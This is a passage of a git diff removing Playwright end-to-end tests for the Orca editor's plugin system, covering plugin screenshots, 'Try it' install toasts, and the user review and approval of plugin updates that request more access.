'sandboxed-ui', - id: 'red-frame', - name: 'Red Frame', - version: '1.0.0', - engines: { orca: '>=1.4.246' }, - pluginApi: 1, - contributes: { - panels: [ - { id: 'page', title: 'Red Frame', entry: 'page.html' }, - { id: 'other', title: 'Other Frame', entry: 'page.html' } - ] - } - }) - ) - await writeFile( - join(pluginRoot, 'page.html'), - '' - ) - await enableDevPlugins(orcaPage, [pluginRoot]) - const pluginKey = await devPluginKey(orcaPage, 'Red Frame') - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - - const opened = await orcaCliResult<{ kind: string; panelId: string }>(userDataDir, [ - 'plugin', - 'open', - pluginKey, - '--panel', - 'other' - ]) - expect(opened).toMatchObject({ kind: 'panel', panelId: 'other' }) - await expect - .poll(() => orcaPage.evaluate(() => window.__store?.getState().rightSidebarTab)) - .toBe(`plugin:${pluginKey}/other`) - - const shot = await orcaCliResult(userDataDir, [ - 'plugin', - 'shot', - pluginKey, - '--out', - join(tempRoot, 'red.png') - ]) - expect(shot).toMatchObject({ panelId: 'page', settled: true }) - // The guest is a separate process; its page is in the capture, not a blank box. - expect((await pngStats(electronApp, shot.path)).redShare).toBeGreaterThan(0.8) - - // `dev watch --shot` asks with ifShown: another tab on screen is skipped, never switched. - const client = new RuntimeClient(userDataDir, 30_000, null, null) - const pageTab = `plugin:${pluginKey}/page` - const away = await client.call<{ notShown?: string }>('plugins.shot', { - pluginKey, - panelId: 'other', - ifShown: true - }) - expect(away.result.notShown).toBe('the right sidebar shows another tab') - expect(await orcaPage.evaluate(() => window.__store?.getState().rightSidebarTab)).toBe(pageTab) - const shown = await client.call<{ png?: string; panelId: string }>('plugins.shot', { - pluginKey, - panelId: 'page', - ifShown: true - }) - expect(shown.result).toMatchObject({ panelId: 'page' }) - expect(shown.result.png?.length).toBeGreaterThan(0) - // --act drives components panels only. - await expect( - client.call('plugins.shot', { pluginKey, acts: [{ press: { text: 'Go' } }] }) - ).rejects.toThrow(/components panels only/) - } finally { - await disablePluginSystem(orcaPage).catch(() => undefined) - await rm(tempRoot, { recursive: true, force: true }) - } -}) - -test('plugin shot --act types and presses on the hidden components panel before capturing', async ({ - electronApp, - orcaPage -}) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const tempRoot = await mkdtemp(join(tmpdir(), 'orca-plugin-shot-act-')) - const pluginRoot = join(tempRoot, 'hello-tsx') - try { - await cp(join(process.cwd(), 'examples', 'plugins', 'hello-tsx'), pluginRoot, { - recursive: true - }) - await enableDevPlugins(orcaPage, [pluginRoot]) - const pluginKey = await devPluginKey(orcaPage, 'Hello TSX') - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - const shownBefore = await windowsShown(electronApp) - const client = new RuntimeClient(userDataDir, 60_000, null, null) - type ActShot = { - png: string - errors: string[] - actions?: { ok: boolean; error?: string }[] - restored?: boolean - } - - const before = await client.call('plugins.shot', { pluginKey, width: 360 }) - // Orca's floating launcher parks over the sidebar; a capture hides it so it is never in a shot. - const launcher = orcaPage.locator('[data-floating-terminal-toggle]') - const launchers = await launcher.count() - const pending = client.call( - 'plugins.shot', - { - pluginKey, - width: 360, - acts: [ - { type: { label: 'New task' }, text: 'Ship the act' }, - { press: { label: 'Add task' } }, - { press: { label: 'Ship the act' } }, - { press: { text: 'Nothing here' } }, - { press: { label: 'Add task' } } - ] - }, - { timeoutMs: 60_000 } - ) - if (launchers > 0) { - await expect.poll(() => launcher.count()).toBe(0) - } - const acted = await pending - expect(acted.result.actions).toEqual([ - { ok: true }, - { ok: true }, - { ok: true }, - { ok: false, error: 'press: nothing in the panel matches { text: "Nothing here" }' }, - { ok: false, error: 'not run: an earlier action failed' } - ]) - expect(acted.result.errors).toEqual([]) - // The shot shows the acted panel; afterwards the persisted list and the draft are put back. - expect(acted.result.png).not.toBe(before.result.png) - expect(acted.result.restored).toBe(true) - await expect(orcaPage.getByRole('heading', { name: 'Tasks' })).toBeVisible() - await expect(orcaPage.getByRole('button', { name: /Ship the act/ })).toHaveCount(0) - await expect(orcaPage.getByRole('textbox', { name: 'New task' })).toHaveValue('') - // The launcher is back once the capture ended; the window never showed. - await expect.poll(() => launcher.count()).toBe(launchers) - expect(await windowsShown(electronApp)).toEqual(shownBefore) - } finally { - await disablePluginSystem(orcaPage).catch(() => undefined) - await rm(tempRoot, { recursive: true, force: true }) - } -}) - -test('plugin shot waits for a cold worker, and --act state is put back after the capture', async ({ - electronApp, - orcaPage -}) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const tempRoot = await mkdtemp(join(tmpdir(), 'orca-plugin-shot-worker-')) - try { - const created = await createPluginFromTemplate({ - dir: join(tempRoot, 'shot-counter'), - template: 'worker-panel', - id: 'shot-counter', - name: 'Shot Counter' - }) - await enableDevPlugins(orcaPage, [created.path]) - const pluginKey = await devPluginKey(orcaPage, 'Shot Counter') - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - const client = new RuntimeClient(userDataDir, 60_000, null, null) - type WorkerShot = { - panelId: string - pendingRequests?: number - actions?: { ok: boolean; error?: string }[] - restored?: boolean - } - - // The first shot starts the panel and its worker: it waits for counter.get's answer. - const cold = await client.call('plugins.shot', { pluginKey }) - expect(cold.result.pendingRequests).toBe(0) - const surface = orcaPage.locator( - `[data-plugin-panel-surface="plugin:${pluginKey}/${cold.result.panelId}"]` - ) - // Read at once, no retry: the capture already showed the worker's total, not the placeholder. - expect(await surface.innerText()).toMatch(/Counter\s+0\b/) - - // `step` is persisted ('plugin'): the act flips it for the shot only. - const acted = await client.call( - 'plugins.shot', - { pluginKey, acts: [{ press: { text: 'Step 10' } }] }, - { timeoutMs: 60_000 } - ) - expect(acted.result).toMatchObject({ actions: [{ ok: true }], restored: true }) - await expect(surface.getByRole('button', { name: 'Add 1' })).toBeVisible() - const later = await client.call('plugins.shot', { pluginKey }) - expect(later.result.pendingRequests).toBe(0) - await expect(surface.getByRole('button', { name: 'Add 1' })).toBeVisible() - await expect(surface.getByRole('button', { name: 'Step 10' })).toBeVisible() - } finally { - await disablePluginSystem(orcaPage).catch(() => undefined) - await rm(tempRoot, { recursive: true, force: true }) - } -}) - -/** Every file under the plugins' data folder with its bytes: a shot must leave all of it alone. */ -async function pluginDataFiles(root: string): Promise> { - const files: Record = {} - const entries = await readdir(root, { recursive: true, withFileTypes: true }).catch(() => []) - for (const entry of entries) { - if (entry.isFile()) { - const path = join(entry.parentPath, entry.name) - files[path] = await readFile(path, 'base64') - } - } - return files -} - -test('plugin shot --scenario captures a check scenario apart from the live panel, storage and worker', async ({ - electronApp, - orcaPage -}) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const tempRoot = await mkdtemp(join(tmpdir(), 'orca-plugin-shot-scenario-')) - try { - const created = await createPluginFromTemplate({ - dir: join(tempRoot, 'scenario-counter'), - template: 'worker-panel', - id: 'scenario-counter', - name: 'Scenario Counter' - }) - await enableDevPlugins(orcaPage, [created.path]) - const pluginKey = await devPluginKey(orcaPage, 'Scenario Counter') - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - const statusOf = async (): Promise => - (await orcaPage.evaluate(() => window.api.plugins.list())).find( - (plugin) => plugin.pluginKey === pluginKey - )?.status - const sidebar = () => - orcaPage.evaluate(() => { - const state = window.__store?.getState() - return { open: state?.rightSidebarOpen, tab: state?.rightSidebarTab } - }) - const dataRoot = join(userDataDir, 'plugins-data') - const sidebarBefore = await sidebar() - const dataBefore = await pluginDataFiles(dataRoot) - const shownBefore = await windowsShown(electronApp) - expect(await statusOf()).toBe('idle') - - type ScenarioShot = Shot & { replay: true; scenario: string; notes: string[] } - const shot = await orcaCliResult(userDataDir, [ - 'plugin', - 'shot', - created.path, - '--scenario', - 'counted', - '--width', - '320', - '--theme', - 'dark', - '--out', - join(tempRoot, 'counted.png') - ]) - expect(shot).toMatchObject({ - replay: true, - scenario: 'counted', - width: 320, - theme: 'dark', - themeApplied: true, - errors: [] - }) - const stats = await pngStats(electronApp, shot.path) - expect(stats).toMatchObject({ width: 320, height: shot.height }) - // A heading, a badge and buttons: not a blank or single-color capture. - expect(stats.colors).toBeGreaterThan(20) - - // The scenario's data stayed in the CLI's stand-in host: no live panel, storage or worker. - expect(await sidebar()).toEqual(sidebarBefore) - expect(await pluginDataFiles(dataRoot)).toEqual(dataBefore) - expect(await statusOf()).toBe('idle') - expect(await orcaPage.locator('[data-plugin-shot-replay]').count()).toBe(0) - expect( - await orcaPage.locator(`[data-plugin-panel-surface^="plugin:${pluginKey}/"]`).count() - ).toBe(0) - expect(await windowsShown(electronApp)).toEqual(shownBefore) - - // An unknown scenario fails and names the ones the panel has. - const unknown = await runCompiledOrcaCli(userDataDir, [ - 'plugin', - 'shot', - created.path, - '--scenario', - 'nope', - '--json' - ]) - expect(unknown.code).not.toBe(0) - expect(unknown.json?.error?.message).toMatch(/its scenarios: fresh, counted/) - } finally { - await disablePluginSystem(orcaPage).catch(() => undefined) - await rm(tempRoot, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/plugin-try-it.spec.ts b/tests/e2e/plugin-try-it.spec.ts deleted file mode 100644 index 21b49248bc4..00000000000 --- a/tests/e2e/plugin-try-it.spec.ts +++ /dev/null @@ -1,110 +0,0 @@ -/** - * Invariant: the Try it on a plugin's install toast does the thing itself instead of opening - * the plugin's page — a grammar opens a blank file it highlights as you type, an editor a new - * file of its own. - */ - -import { mkdtemp, readFile, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect, test } from '@stablyai/playwright-test' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { - createGleamCatalogFixture, - EXCALIDRAW_PLUGIN_KEY, - EXCALIDRAW_TEMPLATE, - GLEAM_PLUGIN_KEY -} from './helpers/plugin-gleam-catalog-fixture' -import { editorTokenClasses } from './helpers/plugin-smoke' -import { pluginGuest, ISOLATED_FRAMES_E2E } from './helpers/plugin-frame-guest' - -async function openPluginPage( - app: ElectronApplication, - page: Page, - pluginKey: string, - name: string -) { - await app.evaluate(({ app: electronApp }, link) => { - electronApp.emit('open-url', { preventDefault: () => undefined }, link) - }, `orca://plugins/${pluginKey}?catalog=official`) - await expect(page.getByRole('article').locator('#plugin-detail-heading')).toContainText(name, { - timeout: 30_000 - }) -} - -async function tryFromToast(page: Page, name: string): Promise { - const toast = page.locator('[data-sonner-toast]').filter({ hasText: `${name} installed` }) - await toast.getByRole('button', { name: 'Try it' }).click({ timeout: 30_000 }) - await expect(page.locator('[data-settings-section="plugins"]')).toBeHidden() -} - -// oxlint-disable-next-line no-empty-pattern -- Playwright passes fixtures before testInfo. -test('Try it opens a blank highlighted file and a new drawing', async ({}, testInfo) => { - // Why: one Electron launch, a Git catalog fetch and two installs; slower than the 30s default. - test.setTimeout(180_000) - const root = await mkdtemp(join(tmpdir(), 'orca-plugin-try-it-e2e-')) - const fixture = await createGleamCatalogFixture(root) - // Its own launch, so the isolated-frames switch rides the session env, not test.use. - const session = createRestartSession(testInfo, { - ...fixture.gitEnvironment, - ...ISOLATED_FRAMES_E2E.orcaAppExtraEnv - }) - let launched: Awaited> | null = null - try { - launched = await session.launch() - const { app, page } = launched - await page.evaluate(async () => { - const settings = await window.api.settings.set({ pluginSystemEnabled: true }) - window.__store?.setState({ settings }) - await window.api.plugins.refreshMarketplaces?.({}) - }) - await expect - .poll( - () => - page.evaluate(async () => - (await window.api.plugins.listMarketplacePlugins()).map((entry) => entry.pluginKey) - ), - { timeout: 60_000 } - ) - .toEqual(expect.arrayContaining([GLEAM_PLUGIN_KEY, EXCALIDRAW_PLUGIN_KEY])) - await attachRepoAndOpenTerminal(page, fixture.workspace) - - await openPluginPage(app, page, GLEAM_PLUGIN_KEY, 'Gleam') - await page.getByRole('article').getByRole('button', { name: 'Install Gleam' }).click() - await tryFromToast(page, 'Gleam') - await expect(page.locator('[data-tab-id]').filter({ hasText: 'untitled.gleam' })).toBeVisible() - // Blank until the user types; nothing but the empty placeholder reaches disk. - expect(await readFile(join(fixture.workspace, 'untitled.gleam'), 'utf8')).toBe('') - await page.locator('.monaco-editor:visible .view-lines').first().click() - await page.keyboard.type('pub fn main() { 1 }') - // The plugin grammar paints what was typed in more than one token class. - await expect - .poll(async () => (await editorTokenClasses(page, 'pub fn main')).length, { - timeout: 15_000 - }) - .toBeGreaterThan(1) - - await openPluginPage(app, page, EXCALIDRAW_PLUGIN_KEY, 'Excalidraw') - await page - .getByRole('article') - .getByRole('button', { name: /^Install & enable/ }) - .click({ timeout: 30_000 }) - await tryFromToast(page, 'Excalidraw') - await expect - .poll(() => - readFile(join(fixture.workspace, 'untitled.excalidraw'), 'utf8').catch(() => null) - ) - .toBe(EXCALIDRAW_TEMPLATE) - await expect( - page.locator('[data-tab-id]').filter({ hasText: 'untitled.excalidraw' }) - ).toBeVisible() - await expect(pluginGuest(page, 'Excalidraw')).toBeVisible({ timeout: 15_000 }) - } finally { - if (launched) { - await session.close(launched.app) - } - await session.dispose() - await rm(root, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/plugin-update-review-toast.spec.ts b/tests/e2e/plugin-update-review-toast.spec.ts deleted file mode 100644 index 7a910cb1978..00000000000 --- a/tests/e2e/plugin-update-review-toast.spec.ts +++ /dev/null @@ -1,166 +0,0 @@ -import { mkdir, mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { expect, test, type Page } from '@stablyai/playwright-test' -import { createRestartSession } from './helpers/orca-restart' -import { commitRepository, configureFixtureGit } from './helpers/plugin-git-fixture' -import { - commitFixtureChange, - PLUGINS, - publishCatalog, - writePlugin -} from './helpers/plugin-update-catalog-fixture' - -// Why: install, catalog refresh and the update pass all fetch Git; a loaded runner outlasts 10s. -const GIT_STEP = { timeout: 90_000 } - -/** Runs an automatic update pass now (turning the policy back on starts one) and waits for it. */ -async function runAutoUpdatePass(page: Page): Promise { - await page.evaluate(async () => { - const passed = new Promise((resolve) => { - const stop = window.api.plugins.onAutoUpdateChanged(() => { - stop() - resolve() - }) - }) - const state = window.__store?.getState() - await state?.updateSettings({ pluginUpdatePolicy: 'manual' }) - await state?.updateSettings({ pluginUpdatePolicy: 'auto' }) - await passed - }) -} - -function openPluginsSettings(page: Page): Promise { - return page.evaluate(() => { - const state = window.__store?.getState() - state?.openSettingsTarget({ pane: 'plugins', repoId: null }) - state?.openSettingsPage() - }) -} - -// oxlint-disable-next-line no-empty-pattern -- Playwright passes fixtures before testInfo. -test('tells once per version when an automatic update waits for review, and Review never approves', async ({}, testInfo) => { - // Why: two launches, two Git-backed installs and four update passes against local git. - test.setTimeout(300_000) - const root = await mkdtemp(join(tmpdir(), 'orca-update-review-toast-')) - const repositories = join(root, 'repositories') - const home = join(root, 'home') - await mkdir(repositories, { recursive: true }) - await mkdir(home, { recursive: true }) - const gitEnvironment = await configureFixtureGit(home, repositories, ['orca-plugins', ...PLUGINS]) - for (const id of PLUGINS) { - const repository = join(repositories, `${id}.git`) - await writePlugin(repository, id, '1.0.0') - await commitRepository(repository, gitEnvironment) - } - const marketplace = join(repositories, 'orca-plugins.git') - await mkdir(marketplace, { recursive: true }) - await publishCatalog(repositories, gitEnvironment, '1.0.0') - await commitRepository(marketplace, gitEnvironment) - const publish = async (ids: readonly string[], version: string): Promise => { - for (const id of ids) { - const repository = join(repositories, `${id}.git`) - await writePlugin(repository, id, version) - await commitFixtureChange(repository, gitEnvironment, `release ${version}`) - } - await publishCatalog(repositories, gitEnvironment, version) - await commitFixtureChange(marketplace, gitEnvironment, `publish ${version}`) - } - const session = createRestartSession(testInfo, { - ...gitEnvironment, - ORCA_BACKGROUND_LAUNCH: '1', - ORCA_PLUGIN_AUTO_UPDATE: '1' - }) - let launched: Awaited> | null = null - try { - launched = await session.launch() - let page = launched.page - await openPluginsSettings(page) - // Content-only 1.0.0 installs and turns on in one click, so it is an approved predecessor. - for (const id of PLUGINS) { - await page.locator(`[data-plugin-key="stablyai.${id}"] [data-plugin-row-name]`).click() - await page.getByRole('button', { name: /^Install / }).click() - await expect(page.getByRole('button', { name: /^Use now: / })).toBeVisible(GIT_STEP) - await page.getByRole('article').getByRole('button', { name: 'Plugins', exact: true }).click() - } - const versions = (): Promise> => - page.evaluate(async () => - Object.fromEntries( - (await window.api.plugins.list()).map((plugin) => [plugin.pluginKey, plugin.version]) - ) - ) - const installedBefore = await versions() - - // Both grow access (content-only → full access): one grouped toast, nothing installed. - await publish(PLUGINS, '2.0.0') - await runAutoUpdatePass(page) - const grouped = page.locator('[data-sonner-toast]', { - hasText: '2 plugin updates need your review' - }) - await expect(grouped).toBeVisible(GIT_STEP) - // Each plugin with its publisher and what it adds, approvable in place. - await expect(grouped.locator('[data-plugin-update-toast]')).toHaveCount(2) - await expect(grouped).toContainText('Official · stablyai') - await expect(grouped.getByRole('button', { name: 'Approve & update all' })).toBeVisible() - await page.screenshot({ - path: testInfo.outputPath('grouped-toast.png'), - animations: 'disabled' - }) - // Details opens the grouped review over the app, without going to Settings. - await grouped.getByRole('button', { name: 'Details', exact: true }).dispatchEvent('click') - const groupedReview = page.getByRole('dialog', { name: 'Review 2 updates', exact: true }) - await expect(groupedReview.locator('[data-plugin-update-review]')).toHaveCount(2, GIT_STEP) - await expect(grouped).toBeHidden() - await page.screenshot({ path: testInfo.outputPath('grouped-review-dialog.png') }) - await groupedReview.getByRole('button', { name: 'Cancel', exact: true }).click() - await expect(groupedReview).toBeHidden() - expect(await versions()).toEqual(installedBefore) - - // Same versions on a later pass and after a restart: told already, so no toast. - await runAutoUpdatePass(page) - await session.close(launched.app) - launched = await session.launch() - page = launched.page - await runAutoUpdatePass(page) - // The pass has finished, so main has nothing left to tell for these versions. - expect(await page.evaluate(() => window.api.plugins.takeUpdateReviewNotices())).toEqual([]) - await expect(page.locator('[data-sonner-toast]', { hasText: 'need your review' })).toHaveCount( - 0 - ) - await expect(page.locator('[data-sonner-toast]', { hasText: 'wants more access' })).toHaveCount( - 0 - ) - - // A newer version of one plugin is told again, by name and Orca-derived publisher. - await publish([PLUGINS[0]], '3.0.0') - await runAutoUpdatePass(page) - const single = page.locator('[data-sonner-toast]', { - hasText: 'Review Notes 3.0.0 wants more access' - }) - await expect(single).toBeVisible(GIT_STEP) - await expect(single).toContainText('Official · stablyai') - await page.screenshot({ path: testInfo.outputPath('single-toast.png'), animations: 'disabled' }) - expect(await versions()).toEqual(installedBefore) - // Approving in the toast installs exactly what it showed, with no trip to Settings. - await single - .getByRole('button', { name: 'Approve & update', exact: true }) - .dispatchEvent('click') - await expect(single).toBeHidden(GIT_STEP) - await expect( - page.locator('[data-sonner-toast]', { hasText: 'Review Notes updated to 3.0.0' }) - ).toBeVisible(GIT_STEP) - expect((await versions())[`stablyai.${PLUGINS[0]}`]).toBe('3.0.0') - // Approved exactly the reviewed bytes, so nothing waits on the plugin's page. - expect( - await page.evaluate( - async (key) => - (await window.api.plugins.list()).find((plugin) => plugin.pluginKey === key) - ?.needsReconsent, - `stablyai.${PLUGINS[0]}` - ) - ).toBe(false) - } finally { - await session.dispose(launched?.app) - await rm(root, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/plugin-update-review.spec.ts b/tests/e2e/plugin-update-review.spec.ts deleted file mode 100644 index 925dda3c3be..00000000000 --- a/tests/e2e/plugin-update-review.spec.ts +++ /dev/null @@ -1,322 +0,0 @@ -import { mkdir, mkdtemp, readFile, rm, writeFile } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { expect, test, type Page } from '@stablyai/playwright-test' -import { hashPluginTree } from '../../src/main/plugins/artifacts/plugin-content-hash' -import { pluginManifestSchema } from '../../src/shared/plugins/manifest/plugin-manifest' -import { pluginContributionSummary } from '../../src/shared/plugins/contributions/plugin-contribution-summary' -import { pluginCatalogTypes } from '../../src/shared/plugins/catalog/plugin-catalog-release' -import { PLUGIN_MANIFEST_V2_SINCE } from '../../src/shared/plugins/manifest/plugin-schema-field-docs' -import { createRestartSession } from './helpers/orca-restart' -import { - commitRepository, - configureFixtureGit, - headCommit, - runGit -} from './helpers/plugin-git-fixture' - -const PLUGINS = ['orca-review-notes', 'orca-review-tasks'] as const -// Why: install and update review fetch Git; on a loaded runner that alone outlasts the 10s default. -const GIT_STEP = { timeout: 60_000 } -const FULL_ACCESS = - 'Full access: runs as a normal program and can read your files, use your saved logins and SSH keys, use the network, run other programs and control Orca, including your terminals and agents.' - -/** Each fixture plugin's installed version and whether it waits on the page's review queue. */ -async function installedState(page: Page): Promise<{ version: string; review: boolean }[]> { - return page.evaluate(async (ids) => { - const plugins = await window.api.plugins.list() - return ids.map((id) => { - const plugin = plugins.find((entry) => entry.pluginKey === `stablyai.${id}`) - return { - version: plugin?.version ?? 'missing', - review: Boolean(plugin && (plugin.needsReconsent || plugin.status === 'pending')) - } - }) - }, PLUGINS) -} - -async function writePlugin(repository: string, id: string, version: string): Promise { - await mkdir(repository, { recursive: true }) - await writeFile( - join(repository, 'orca-plugin.json'), - JSON.stringify({ - manifestVersion: 2, - id, - publisher: 'stablyai', - name: id === PLUGINS[0] ? 'Review Notes' : 'Review Tasks', - version, - execution: version === '1.0.0' ? 'data' : 'trusted-worker', - engines: { orca: `>=${PLUGIN_MANIFEST_V2_SINCE}` }, - ...(version === '1.0.0' ? {} : { main: 'worker.mjs' }), - contributes: - id === PLUGINS[0] - ? { iconThemes: [{ id: 'review', title: 'Review Icons', path: 'icons.json' }] } - : { terminalThemes: [{ id: 'review', title: 'Review Terminal', path: 'terminal.json' }] }, - capabilities: [] - }) - ) - await writeFile( - join(repository, 'icons.json'), - JSON.stringify({ schemaVersion: 1, icons: { file: 'file.svg' } }) - ) - await writeFile( - join(repository, 'file.svg'), - '' - ) - await writeFile( - join(repository, 'terminal.json'), - JSON.stringify({ - schemaVersion: 1, - mode: 'light', - terminal: { background: '#eeeeee', foreground: '#181818', red: '#ff0000' } - }) - ) - if (version !== '1.0.0') { - await writeFile(join(repository, 'worker.mjs'), 'export function activate() {}\n') - } -} - -async function publishCatalog( - repositories: string, - gitEnvironment: Record, - version: string -): Promise { - const plugins = await Promise.all( - PLUGINS.map(async (id) => { - const repository = join(repositories, `${id}.git`) - const manifest = pluginManifestSchema.parse( - JSON.parse(await readFile(join(repository, 'orca-plugin.json'), 'utf8')) - ) - const tree = await hashPluginTree(repository) - if (!tree.ok) { - throw new Error(tree.error) - } - return { - id: `stablyai.${id}`, - source: { kind: 'git', url: `https://github.com/stablyai/${id}.git`, ref: 'main' }, - categories: ['themes'], - releases: [ - { - version, - name: manifest.name, - commit: await headCommit(repository, gitEnvironment), - contentHash: tree.hash, - execution: manifest.manifestVersion === 2 ? manifest.execution : 'data', - minimumOrca: PLUGIN_MANIFEST_V2_SINCE, - types: pluginCatalogTypes(manifest), - contributes: pluginContributionSummary(manifest), - capabilities: [] - } - ] - } - }) - ) - await writeFile( - join(repositories, 'orca-plugins.git', 'orca-catalog.json'), - JSON.stringify({ catalogVersion: 2, name: 'Orca Plugins', owner: 'stablyai', plugins }) - ) -} - -// oxlint-disable-next-line no-empty-pattern -- Playwright passes fixtures before testInfo. -test('confirms card removal, reviews a lone access-growing update directly, and approves each of several from the list', async ({}, testInfo) => { - // Why: one Electron launch drives two Git-backed installs and an update review. - test.setTimeout(240_000) - const root = await mkdtemp(join(tmpdir(), 'orca-update-review-')) - const repositories = join(root, 'repositories') - const home = join(root, 'home') - await mkdir(repositories, { recursive: true }) - await mkdir(home, { recursive: true }) - const gitEnvironment = await configureFixtureGit(home, repositories, ['orca-plugins', ...PLUGINS]) - for (const id of PLUGINS) { - const repository = join(repositories, `${id}.git`) - await writePlugin(repository, id, '1.0.0') - await commitRepository(repository, gitEnvironment) - } - const marketplace = join(repositories, 'orca-plugins.git') - await mkdir(marketplace, { recursive: true }) - await publishCatalog(repositories, gitEnvironment, '1.0.0') - await commitRepository(marketplace, gitEnvironment) - const session = createRestartSession(testInfo, { ...gitEnvironment, ORCA_BACKGROUND_LAUNCH: '1' }) - let launched: Awaited> | null = null - try { - launched = await session.launch() - const { page, app } = launched - expect(await app.evaluate(({ app }) => app.getAppPath())).toBe(process.cwd()) - await page.evaluate(() => { - const state = window.__store?.getState() - state?.openSettingsTarget({ pane: 'plugins', repoId: null }) - state?.openSettingsPage() - }) - const appearanceBefore = await page.evaluate(() => { - const settings = window.__store?.getState().settings - return { - icon: settings?.pluginIconTheme, - terminal: settings?.terminalThemeLight, - app: settings?.pluginAppTheme - } - }) - for (const id of PLUGINS) { - await page.locator(`[data-plugin-key="stablyai.${id}"] [data-plugin-row-name]`).click() - await page.getByRole('button', { name: /^Install / }).click() - const themeName = id === PLUGINS[0] ? 'Review Icons' : 'Review Terminal' - const use = page.getByRole('button', { name: `Use now: ${themeName}`, exact: true }) - await expect(use).toBeVisible(GIT_STEP) - const chosen = (key: string) => - page.evaluate((pluginId) => { - const settings = window.__store?.getState().settings - return pluginId === 'orca-review-notes' - ? settings?.pluginIconTheme - : settings?.terminalThemeLight - }, key) - // Installing by click applies the theme at once; its toast offers one click back. - await expect.poll(() => chosen(id)).toBe(`plugin:stablyai.${id}/review`) - await expect(use).toHaveAttribute('aria-pressed', 'true') - await expect(page.getByText(`Now using ${themeName}`, { exact: true })).toBeVisible() - // Why dispatch: Sonner restacks toasts off-screen as others arrive, so a pointer click can miss. - await page.getByRole('button', { name: 'Switch back', exact: true }).dispatchEvent('click') - await expect - .poll(() => - page.evaluate(() => { - const settings = window.__store?.getState().settings - return { - icon: settings?.pluginIconTheme, - terminal: settings?.terminalThemeLight, - app: settings?.pluginAppTheme - } - }) - ) - .toEqual(appearanceBefore) - await expect(use).toHaveAttribute('aria-pressed', 'false') - await use.click() - await expect(use).toHaveAttribute('aria-pressed', 'true') - await expect.poll(() => chosen(id)).toBe(`plugin:stablyai.${id}/review`) - if (id !== PLUGINS[0]) { - await expect - .poll(() => - page.evaluate(() => window.__store?.getState().settings?.terminalUseSeparateLightTheme) - ) - .toBe(true) - } - await page.getByRole('article').getByRole('button', { name: 'Plugins', exact: true }).click() - Object.assign( - appearanceBefore, - await page.evaluate(() => { - const settings = window.__store?.getState().settings - return { - icon: settings?.pluginIconTheme, - terminal: settings?.terminalThemeLight, - app: settings?.pluginAppTheme - } - }) - ) - } - // Why first: the installed row at the top of All repeats the catalog card. - const notes = page.locator(`[data-plugin-key="stablyai.${PLUGINS[0]}"]`).first() - await notes.getByRole('button', { name: 'More actions for Review Notes', exact: true }).click() - await page.getByRole('menuitem', { name: 'Remove…', exact: true }).click() - const confirmation = page.getByRole('dialog', { name: 'Remove Review Notes?' }) - await expect(confirmation).toContainText('Its data is removed too.') - await confirmation.getByRole('button', { name: 'Cancel', exact: true }).click() - await expect( - notes.getByRole('button', { name: 'More actions for Review Notes', exact: true }) - ).toBeVisible() - - for (const id of PLUGINS) { - const repository = join(repositories, `${id}.git`) - await writePlugin(repository, id, '2.0.0') - await runGit(repository, ['add', '--all'], gitEnvironment) - await runGit( - repository, - [ - '-c', - 'user.name=Orca Test', - '-c', - 'user.email=orca-test@example.invalid', - 'commit', - '--quiet', - '-m', - 'worker update' - ], - gitEnvironment - ) - } - await publishCatalog(repositories, gitEnvironment, '2.0.0') - await runGit(marketplace, ['add', '--all'], gitEnvironment) - await runGit( - marketplace, - [ - '-c', - 'user.name=Orca Test', - '-c', - 'user.email=orca-test@example.invalid', - 'commit', - '--quiet', - '-m', - 'publish updates' - ], - gitEnvironment - ) - await page.getByRole('button', { name: 'Refresh catalogs', exact: true }).click() - await notes.getByRole('button', { name: 'Update Review Notes to 2.0.0', exact: true }).click() - // A lone update that grows access skips the list and opens straight into its own review. - const single = page.getByRole('dialog', { name: 'Review update to Review Notes', exact: true }) - const singleReview = single.locator(`[data-plugin-update-review="stablyai.${PLUGINS[0]}"]`) - await expect(singleReview).toBeVisible(GIT_STEP) - await expect(single.locator('[data-plugin-update]')).toHaveCount(0) - await expect(singleReview).toContainText('New in this version:') - await expect(singleReview).toContainText('Official · stablyai') - await expect(singleReview.locator('[data-added]', { hasText: FULL_ACCESS })).toBeVisible() - await expect(singleReview.getByRole('button', { name: 'See all access' })).toBeVisible() - await single.getByRole('button', { name: 'Cancel', exact: true }).click() - await expect(single).toBeHidden() - expect(await installedState(page)).toEqual( - PLUGINS.map(() => ({ version: '1.0.0', review: false })) - ) - - await page.getByRole('tab', { name: /^Updates/ }).click() - await page.getByRole('button', { name: 'Update all…', exact: true }).click() - // Several updates that grow access are grouped into one review, each showing only what it adds. - const group = page.getByRole('dialog', { name: 'Review 2 updates', exact: true }) - await expect(group.locator('[data-plugin-update-review]')).toHaveCount(2, GIT_STEP) - await expect(group.locator('[data-plugin-update]')).toHaveCount(0) - for (const id of PLUGINS) { - const review = group.locator(`[data-plugin-update-review="stablyai.${id}"]`) - await expect(review.locator('[data-added]', { hasText: FULL_ACCESS })).toBeVisible() - await expect(review.getByRole('checkbox')).toBeChecked() - } - // Unticking one approves only the other. - await group - .locator(`[data-plugin-update-review="stablyai.${PLUGINS[1]}"]`) - .getByRole('checkbox') - .click() - await group.getByRole('button', { name: 'Approve & update', exact: true }).click() - await expect(group).toBeHidden(GIT_STEP) - expect(await installedState(page)).toEqual([ - { version: '2.0.0', review: false }, - { version: '1.0.0', review: false } - ]) - - // The one left is a lone review again. - await page.getByRole('button', { name: 'Update all…', exact: true }).click() - const last = page.getByRole('dialog', { name: 'Review update to Review Tasks', exact: true }) - await expect(last.locator(`[data-plugin-update-review="stablyai.${PLUGINS[1]}"]`)).toBeVisible( - GIT_STEP - ) - await last.getByRole('button', { name: 'Approve & update', exact: true 